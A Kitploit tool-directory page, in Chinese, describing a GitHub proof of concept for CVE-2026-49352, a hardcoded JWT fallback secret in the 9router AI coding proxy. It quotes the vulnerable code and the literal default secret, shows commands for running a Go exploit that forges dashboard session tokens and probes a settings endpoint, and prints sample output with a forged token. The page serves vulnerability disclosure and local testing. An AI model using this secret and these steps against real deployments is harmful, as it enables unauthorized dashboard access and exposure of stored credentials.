Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
cve-2026-49352-poc — CVE-2026-49352 的可利用性 PoC(9router 硬编码 JWT 密钥认证绕过) | Kitploit
工具/GitHubGitHub/covepseng/cve-2026-49352-poc
身份验证与授权Payload生成漏洞分析漏洞利用Web应用程序漏洞利用渗透测试学习与教育
GitHubcovepseng/cve-2026-49352-poc

cve-2026-49352-poc

CVE-2026-49352 的可利用性 PoC(9router 硬编码 JWT 密钥认证绕过)

查看仓库
1个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-49352 — 9router 硬编码 JWT 密钥认证绕过

目录

  • 概述
  • 受影响版本
  • 根本原因
  • 分析
  • 仓库结构
  • 环境要求
  • 使用方法
  • 预期输出
  • 参考
  • 免责声明

概述

CVE-2026-49352 是 9router 中的一个漏洞,9router 是一个用于 AI 编码工具的自托管 Node.js/Next.js 代理。仪表盘会话 JWT 使用来自 JWT_SECRET 环境变量的密钥进行签名,但如果该变量未设置,登录处理器和请求守卫都会回退到同一个硬编码字符串:

root@kitploit:~
const SECRET = new TextEncoder().encode(
  process.env.JWT_SECRET || "9router-default-secret-change-me"
);

由于该字符串被提交到了公共仓库,它根本称不上秘密。任何攻击者都可以使用它来签发令牌,并被当作已认证的仪表盘用户。


受影响版本

受影响范围修复于
0.2.21 – 0.4.410.4.45

根本原因

回退密钥在两个相互独立的文件中以完全相同的方式定义。

src/app/api/auth/login/route.js — 在登录时签发会话令牌:

root@kitploit:~
const SECRET = new TextEncoder().encode(
  process.env.JWT_SECRET || "9router-default-secret-change-me"
);

const token = await new SignJWT({ authenticated: true })
  .setProtectedHeader({ alg: "HS256" })
  .setExpirationTime("24h")
  .sign(SECRET);

src/dashboardGuard.js — 在每个受保护请求上验证令牌:

root@kitploit:~
const SECRET = new TextEncoder().encode(
  process.env.JWT_SECRET || "9router-default-secret-change-me"
);

async function hasValidToken(request) {
  const token = request.cookies.get("auth_token")?.value;
  if (!token) return false;
  try {
    await jwtVerify(token, SECRET);
    return true;
  } catch {
    return false;
  }
}

hasValidToken() 成功是授予对 /dashboard 以及 ALWAYS_PROTECTED 中列出的端点(包括 /api/settings/database)访问权限之前检查的唯一条件。不存在对会话记录的查询,也不存在对令牌来源的验证——有效的签名即被视为身份证明。


分析

该绕过已在受影响代码库的构建版本上得到确认且可复现。当 JWT_SECRET 未设置时:

root@kitploit:~
[1] Forging dashboard session JWT with the hardcoded fallback secret...
[+] Forged auth_token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...

[2] Requesting /dashboard with the forged auth_token cookie...
[+] 200 OK — authentication bypass confirmed

[3] Probing /api/settings/database for exposed credentials...
[+] /api/settings/database returned 200

部署形态很关键

仅当运维人员从未设置 JWT_SECRET 时,该漏洞才会被触发——这是大多数跳过环境配置步骤的快速启动 / docker-run 部署的默认情况。显式将 JWT_SECRET 设置为随机值的部署不受影响,因为 SECRET 在模块加载时仅派生一次,且不会回退。


仓库结构

root@kitploit:~
cve-2026-49352-poc/
├── dockerfile                   # 9router built from source, pinned to v0.4.30 (affected)
├── podman-compose.yml           # build + run, JWT_SECRET intentionally omitted
└── exploit/
    ├── go.mod                   # requires github.com/golang-jwt/jwt/v5
    └── exploit.go                # PoC — Go

环境要求

工具版本说明
Podman≥ 4.0需要 podman-compose
Go≥ 1.22用于在本地运行漏洞利用

外部 Go 依赖:github.com/golang-jwt/jwt/v5。


使用方法

1. 构建并启动容器

root@kitploit:~
podman-compose build
podman-compose up -d

等待应用报告就绪,然后验证:

root@kitploit:~
curl -si http://localhost:20128/dashboard | head -1
# Expected: HTTP/1.1 307 (redirect to /login, no session yet)

2. 运行漏洞利用

root@kitploit:~
cd exploit
go run exploit.go -target http://localhost:20128

添加 -probe 参数,以使用伪造的 cookie 同时请求 /api/settings/database:

root@kitploit:~
go run exploit.go -target http://localhost:20128 -probe

可用参数:

3. 清理

root@kitploit:~
podman-compose down -v

预期输出

root@kitploit:~
[1] Forging dashboard session JWT with the hardcoded fallback secret...
[+] Forged auth_token:
    eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdXRoZW50aWNhdGVkIjp0cnVlLCJleHAiOjI5MTgzNjMwMTksImlhdCI6MTc4MzA2NzAxOX0.yYdNxS-nYuxv609j1w7juimNVM1RROAfVRjZyt6TU3M
[2] Requesting /dashboard with the forged auth_token cookie...
[+] 200 OK — authentication bypass confirmed against http://localhost:20128
[3] Probing /api/settings/database for exposed credentials (per advisory attack scenario)...
[+] /api/settings/database returned 200
{"settings":{},"providerConnections":[],"providerNodes":[],"proxyPools":[],"apiKeys":[],"combos":[],"modelAliases":{},"customModels":[],"mitmAlias":{},"pricing":{}}

参考

资源链接
安全公告GHSA-jphh-m39h-6gwx
受影响仓库decolua/9router
完整分析 — 博客文章return-zero.dev/posts/cve-2026-49352

免责声明

本仓库仅用于教育目的和本地可利用性分析。所有测试均针对自托管容器环境进行。请勿对您不拥有或未经明确书面授权测试的系统运行此 PoC。

下载工具
标志默认值说明
-targethttp://localhost:201289router 实例的基础 URL
-secret9router-default-secret-change-me用于伪造的 JWT 回退密钥
-ttl36 * 365 * 24h伪造令牌的有效期窗口
-probefalse同时请求 /api/settings/database